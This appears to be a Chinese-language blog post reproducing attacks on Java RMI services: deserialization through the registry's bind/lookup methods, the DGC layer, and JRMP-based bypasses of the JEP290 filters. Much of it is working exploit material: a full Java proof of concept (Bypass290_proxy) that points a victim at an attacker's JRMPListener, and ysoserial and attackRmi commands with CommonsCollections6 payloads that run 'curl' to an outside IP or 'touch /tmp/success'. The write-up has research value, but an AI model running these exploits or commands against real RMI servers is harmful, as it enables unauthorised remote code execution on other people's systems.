前言
RMI服务的攻击维度分成四个方向
- 探测利用开放的RMI服务
- 基于RMI服务反序列化过程的攻击
- 利用RMI的动态加载特性的攻击利用
- 结合JNDI注入
RMI服务端反序列化攻击RMI注册端
反序原理
sun.rmi.registry.RegistryImpl_Skel#dispatch
:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
//一处接口hash验证
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
//设定变量开始处理请求
//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
RegistryImpl var6 = (RegistryImpl)var1;
//接受客户端输入流的参数变量
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
//super.ref.newCall(this, operations, 0, 4905912898345647071L);
switch(var3) {
//统一删除了try等语句
case 0:
//bind(String,Remote)分支
var11 = var2.getInputStream();
//1.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.bind(var7, var8);
case 1:
//list()分支
var2.releaseInputStream();
String[] var97 = var6.list();
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
case 2:
//lookup(String)分支
var10 = var2.getInputStream();
//2.反序列化触发处
var7 = (String)var10.readObject();
var8 = var6.lookup(var7);
case 3:
//rebind(String,Remote)分支
var11 = var2.getInputStream();
//3.反序列化触发处
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
var6.rebind(var7, var8);
case 4:
//unbind(String)分支
var10 = var2.getInputStream();
//4.反序列化触发处
var7 = (String)var10.readObject();
var6.unbind(var7);
default:
throw new UnmarshalException("invalid method number");
}
}
}
可以得到4个反序列化触发处:lookup、unbind、rebind、bind。
虽然我们看到RMI注册端的解析过程是直接反序列化传参,看样子String和Remote的参数位置都是可以的,但还是会摇摆不定。
但事实是 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。
首先漏洞环境用的是这个https://github.com/lalajun/RMIDeserialize项目。包含了CC链。
首先用8u66启动环境。然后用yso的RMIRegistryExploit模块攻击
成功弹出计算器
JEP290修复
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
RMI DGC层反序列化
这里是用的JRMPClient 模块打的
攻击效果相同
JEP290修复
在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
利用JRMP反序列化绕过JEP290
这次我们使用JRMPListener
受害靶机还是上文中的。
然后运行github里的Bypass290_proxy
package com.lala;
import sun.rmi.server.UnicastRef;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteRef;
public class Bypass290_proxy {
public static class PocHandler implements InvocationHandler, Serializable {
private RemoteRef ref;
protected PocHandler(RemoteRef newref) {
ref = newref;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.ref;
}
}
//让受害者主动去连接的攻击者的JRMPlister的host和port
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static void main(String[] args) throws Exception{
// String jrmpListenerHost = "47.102.137.160";//远程测试
String jrmpListenerHost = "127.0.0.1";//本地测试
int jrmpListenerPort = 1199;
UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class<?>[]{Remote.class}, new PocHandler(unicastRef));
Registry registry = LocateRegistry.getRegistry(1099);//本地测试
// Registry registry = LocateRegistry.getRegistry("47.102.137.160",1099);//远程测试
registry.bind("2333", remote);
}
}
这其实就是ysoserial.exploit.JRMPListener模块的攻击逻辑
8u231之前都可以用
原理请看https://xz.aliyun.com/t/7932
为什么?
因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload
bind的局限性
当我们在本地进行试验的时候,使用高于8u141的版本也是可以命令执行的。这会形成一种不受版本限制的错觉。
但实际上在远程攻击的时候,这种攻击是有局限性的。
但是这种姿势只能本地执行,我把它放到服务器上就不行了。
与RMI客户端反序列化攻击RMI服务端-Lookup结合
这个工具就是github上的RMI-Bypass290.jar
同样的服务器上启动的环境
/root/javaexp/jdk1.8.0_221/bin/java -cp RMIDeserialize.jar com.lala.ServerAndRegister
然后
/root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "curl 47.97.123.81:11451"
然后
java -jar RMI-Bypass290.jar 47.97.123.81 1099 47.97.123.81 1199
即可在8u231之前攻击。
https://github.com/waderwu/attackRmi
我们也可以用工具完成攻击
java -jar attackRmi.jar LAUS 47.97.123.81 1099 47.97.123.81 1199 'touch /tmp/success'
前面的是受害机器的rmi ip端口。后面是自己启动jrmpListener端口。这里是把步骤二合一了,一并启动jrmpListener
或者是自行启动jrmpListener,然后运行
/root/javaexp/jdk1.8.0_221/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1199 CommonsCollections6 "touch /tmp/success"
java -cp attackRmi.jar com.wu.attackRmi.Exploit.AttackRegistryByLookupAndUnicastRef 47.97.123.81 1099 47.97.123.81 1199
https://xz.aliyun.com/t/8247#toc-6 工具使用教程
来自An Trinh的另一种绕过JEP290的思路
这个可以绕过绕过8u231
复现—绕过8u231
这个用的就是上述工具的AttackRegistryByLookupAndUnicastRefRemoteObject
复现和上面那个差不多
总结
为什么能绕过JEP290
用JRMPListener+lookup
因为之前也说到JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。所以可以攻击执行payload